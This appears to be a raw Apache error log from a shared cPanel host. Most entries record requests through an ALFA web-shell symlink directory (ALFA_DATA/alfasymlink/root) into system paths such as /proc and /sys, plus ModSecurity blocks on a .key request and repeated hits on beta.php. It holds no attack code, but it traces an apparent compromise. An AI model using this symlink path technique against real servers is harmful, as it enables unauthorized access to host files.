[Sun Oct 25 18:56:23.075523 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 34.239.85.139:36545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:56:26.372699 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 52.204.81.148:11390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/block/vda/device/subsystem/drivers/virtio_net/module/sections/__param
[Sun Oct 25 18:56:33.105863 2026] [authz_core:error] [pid 2914751:tid 2914751] [client 192.241.134.160:35102] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 18:56:34.329534 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 18.205.127.11:36160] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:56:50.378167 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 34.194.226.74:30451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:56:54.360733 2026] [authz_core:error] [pid 2913310:tid 2913310] [client 54.165.121.143:37089] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 18:57:03.670177 2026] [security2:error] [pid 2916958:tid 2916958] [client 107.172.76.131:65477] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6JM_zSC_12VSMpugAsXgAAABs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:57:03.670233 2026] [security2:error] [pid 2916958:tid 2916958] [client 107.172.76.131:65477] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6JM_zSC_12VSMpugAsXgAAABs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:57:17.824571 2026] [ssl:error] [pid 2916802:tid 2916802] (70014)End of file found: [client 73.9.83.153:45745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:57:18.201506 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.226.89.140:26036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:57:24.566611 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 99.98.221.98:39508] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:57:30.245298 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 96.227.118.99:39244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/alloc_calls
[Sun Oct 25 18:57:30.681692 2026] [ssl:error] [pid 2916802:tid 2916802] (70014)End of file found: [client 173.50.88.197:43345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:57:32.071859 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 197.214.238.242:17806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/slabs_cpu_partial
[Sun Oct 25 18:57:32.634964 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 2.83.27.140:56716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/alloc_calls
[Sun Oct 25 18:57:34.988772 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 200.7.150.231:49864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/alloc_calls
[Sun Oct 25 18:57:35.740598 2026] [core:error] [pid 2917516:tid 2917516] (13)Permission denied: [client 85.208.96.200:28232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS0/custom_divisor
[Sun Oct 25 18:57:46.202880 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 100.28.44.58:36951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:57:50.183075 2026] [ssl:error] [pid 2916802:tid 2916802] (70014)End of file found: [client 54.235.172.96:13910] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:57:54.371066 2026] [ssl:error] [pid 2917516:tid 2917516] (70014)End of file found: [client 18.207.79.144:17848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:58:10.268060 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 52.54.157.23:26907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/eventpoll_pwq/free_calls
[Sun Oct 25 18:58:22.357886 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 70.114.75.52:40973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/validate
[Sun Oct 25 18:58:34.174512 2026] [proxy_fcgi:error] [pid 2908851:tid 2908851] [client 54.147.182.90:7558] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 18:58:36.423240 2026] [core:error] [pid 2918165:tid 2918165] (13)Permission denied: [client 185.191.171.14:23672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/total_objects
[Sun Oct 25 18:58:41.651366 2026] [security2:error] [pid 2917051:tid 2917051] [client 107.172.76.131:65475] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6JlJK9JXuKY48sb5uiKAAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:58:41.651423 2026] [security2:error] [pid 2917051:tid 2917051] [client 107.172.76.131:65475] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6JlJK9JXuKY48sb5uiKAAAAAM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:58:42.184186 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 3.231.193.38:22073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:58:46.190561 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 54.198.33.233:44269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:58:48.539206 2026] [core:error] [pid 2917408:tid 2917408] (13)Permission denied: [client 85.208.96.200:63452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/hwcache_align
[Sun Oct 25 18:58:49.774251 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 85.208.96.197:11550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:10.227697 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 44.206.65.8:63792] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:10.311142 2026] [ssl:error] [pid 2918165:tid 2918165] (70014)End of file found: [client 185.191.171.9:63326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:22.177243 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 3.221.244.28:23415] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:38.172454 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 23.21.148.226:40943] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/11/module/uevent
[Sun Oct 25 18:59:42.202337 2026] [security2:error] [pid 2914422:tid 2914422] [client 190.53.249.169:61045] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J3lFYdRRWCEvBLGcP7QAAAAo"]
[Sun Oct 25 18:59:42.203006 2026] [security2:error] [pid 2914422:tid 2914422] [client 190.53.249.169:61045] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J3lFYdRRWCEvBLGcP7QAAAAo"]
[Sun Oct 25 18:59:42.203582 2026] [security2:error] [pid 2914422:tid 2914422] [client 190.53.249.169:61045] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J3lFYdRRWCEvBLGcP7QAAAAo"]
[Sun Oct 25 18:59:43.649693 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 185.191.171.2:44240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:43.923266 2026] [security2:error] [pid 2916954:tid 2916954] [client 79.210.11.117:59894] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J34XvrxjDeCa3cmH5OAAAABY"]
[Sun Oct 25 18:59:43.923911 2026] [security2:error] [pid 2916954:tid 2916954] [client 79.210.11.117:59894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J34XvrxjDeCa3cmH5OAAAABY"]
[Sun Oct 25 18:59:43.924409 2026] [security2:error] [pid 2916954:tid 2916954] [client 79.210.11.117:59894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J34XvrxjDeCa3cmH5OAAAABY"]
[Sun Oct 25 18:59:45.611035 2026] [security2:error] [pid 2913030:tid 2913030] [client 92.234.204.155:33161] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J4dACfKmH39GTPJ9ixQAAAAg"]
[Sun Oct 25 18:59:45.611589 2026] [security2:error] [pid 2913030:tid 2913030] [client 92.234.204.155:33161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J4dACfKmH39GTPJ9ixQAAAAg"]
[Sun Oct 25 18:59:45.611926 2026] [security2:error] [pid 2913030:tid 2913030] [client 92.234.204.155:33161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/openssh/PROTOCOL.key"] [unique_id "at6J4dACfKmH39GTPJ9ixQAAAAg"]
[Sun Oct 25 18:59:46.170911 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 100.29.34.97:7377] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:58.189105 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 98.82.214.73:64916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:59.027619 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 192.200.149.176:58643] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:59:59.706232 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 185.191.171.18:45444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/ctor
[Sun Oct 25 19:00:02.218323 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.217.171.106:40732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:00:04.252692 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 187.161.223.142:51476] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/destroy_by_rcu
[Sun Oct 25 19:00:07.444438 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 112.78.133.133:42567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:00:10.365344 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 100.28.49.152:49034] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:00:14.278402 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 52.4.213.199:56610] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:00:15.261392 2026] [ssl:error] [pid 2917409:tid 2917409] (70014)End of file found: [client 45.184.111.14:50542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:00:15.367844 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 189.162.195.64:14806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/destroy_by_rcu
[Sun Oct 25 19:00:20.398740 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 84.33.144.99:39179] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/hwcache_align
[Sun Oct 25 19:00:22.487545 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 66.9.160.251:38556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cache_dma
[Sun Oct 25 19:00:24.212919 2026] [core:error] [pid 2917408:tid 2917408] (13)Permission denied: [client 74.215.28.134:54225] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cache_dma
[Sun Oct 25 19:00:25.019793 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 190.80.51.54:40783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/store_user
[Sun Oct 25 19:00:25.458037 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 181.68.250.196:49200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/hwcache_align
[Sun Oct 25 19:00:25.793722 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 71.246.234.212:49025] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cache_dma
[Sun Oct 25 19:00:26.742063 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 108.52.218.9:53719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/store_user
[Sun Oct 25 19:00:28.347751 2026] [core:error] [pid 2918304:tid 2918304] (13)Permission denied: [client 181.208.183.27:55722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/hwcache_align
[Sun Oct 25 19:00:29.397325 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 178.210.224.150:10794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/store_user
[Sun Oct 25 19:00:32.320882 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 85.208.96.194:30972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/min_partial
[Sun Oct 25 19:00:36.654271 2026] [core:error] [pid 2918304:tid 2918304] (13)Permission denied: [client 68.186.232.111:57954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/total_objects
[Sun Oct 25 19:00:36.679856 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 190.133.107.196:49220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/cpu_slabs
[Sun Oct 25 19:00:38.367015 2026] [core:error] [pid 2917408:tid 2917408] (13)Permission denied: [client 104.183.119.44:62098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/total_objects
[Sun Oct 25 19:00:40.532763 2026] [core:error] [pid 2916813:tid 2916813] (13)Permission denied: [client 146.168.45.243:35259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/cpu_slabs
[Sun Oct 25 19:00:42.157419 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 34.226.89.140:34728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:00:42.525939 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 99.250.110.75:60299] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/cpu_slabs
[Sun Oct 25 19:00:46.166532 2026] [ssl:error] [pid 2918304:tid 2918304] (5)Input/output error: [client 52.200.142.199:28218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:00:50.077186 2026] [core:crit] [pid 2916902:tid 2916902] (13)Permission denied: [client 24.72.100.116:43600] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/systemd/ask-password-block/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/systemd/ask-password-block/' is executable
[Sun Oct 25 19:00:50.077483 2026] [core:crit] [pid 2916902:tid 2916902] (13)Permission denied: [client 24.72.100.116:43600] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/systemd/unit-root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/systemd/unit-root/' is executable
[Sun Oct 25 19:00:50.078223 2026] [core:crit] [pid 2916902:tid 2916902] (13)Permission denied: [client 24.72.100.116:43600] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/systemd/inaccessible/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/systemd/inaccessible/' is executable
[Sun Oct 25 19:00:54.170462 2026] [core:error] [pid 2918304:tid 2918304] (13)Permission denied: [client 44.206.93.215:30422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/firmware_node/subsystem/devices/device:16/eject
[Sun Oct 25 19:00:58.268525 2026] [ssl:error] [pid 2918304:tid 2918304] (70014)End of file found: [client 3.89.176.255:59528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:01:02.227736 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 3.93.253.174:30420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0F13:00/subsystem/drivers/button/uevent
[Sun Oct 25 19:01:14.169375 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 34.234.197.175:54712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:01:30.150768 2026] [ssl:error] [pid 2916957:tid 2916957] (70014)End of file found: [client 34.196.114.170:9905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:01:38.215947 2026] [ssl:error] [pid 2918304:tid 2918304] (70014)End of file found: [client 107.20.181.148:13290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:01:42.161511 2026] [ssl:error] [pid 2916957:tid 2916957] (70014)End of file found: [client 52.3.26.180:10968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:01:54.247191 2026] [ssl:error] [pid 2916957:tid 2916957] (70014)End of file found: [client 52.7.13.143:6106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:02.179999 2026] [ssl:error] [pid 2908851:tid 2908851] (70014)End of file found: [client 50.16.216.166:28899] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:04.416641 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 24.48.237.14:40066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/remote_node_defrag_ratio
[Sun Oct 25 19:02:06.143532 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 3.216.86.144:51066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:08.485303 2026] [core:error] [pid 2918304:tid 2918304] (13)Permission denied: [client 179.106.69.54:46723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/remote_node_defrag_ratio
[Sun Oct 25 19:02:11.796404 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 190.97.245.54:38596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/remote_node_defrag_ratio
[Sun Oct 25 19:02:16.762279 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 181.94.226.114:54597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/rsyslogd.pid
[Sun Oct 25 19:02:19.523128 2026] [core:error] [pid 2917051:tid 2917051] (13)Permission denied: [client 185.36.0.44:57493] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/rsyslogd.pid
[Sun Oct 25 19:02:22.027138 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 197.39.163.90:57160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/rsyslogd.pid
[Sun Oct 25 19:02:22.148194 2026] [ssl:error] [pid 2914751:tid 2914751] (5)Input/output error: [client 18.215.49.176:43253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:26.230463 2026] [ssl:error] [pid 2918304:tid 2918304] (70014)End of file found: [client 52.21.62.139:7697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:30.173303 2026] [ssl:error] [pid 2913086:tid 2913086] (70014)End of file found: [client 98.83.226.125:25960] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:34.241644 2026] [ssl:error] [pid 2918304:tid 2918304] (70014)End of file found: [client 44.207.252.58:14046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:44.213403 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 85.208.96.198:47456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/tmp/3461783.ANEL_SCRIPTS_UPDATENOW_STATIC_CPANELSYNC__.3b34a64c.tmp
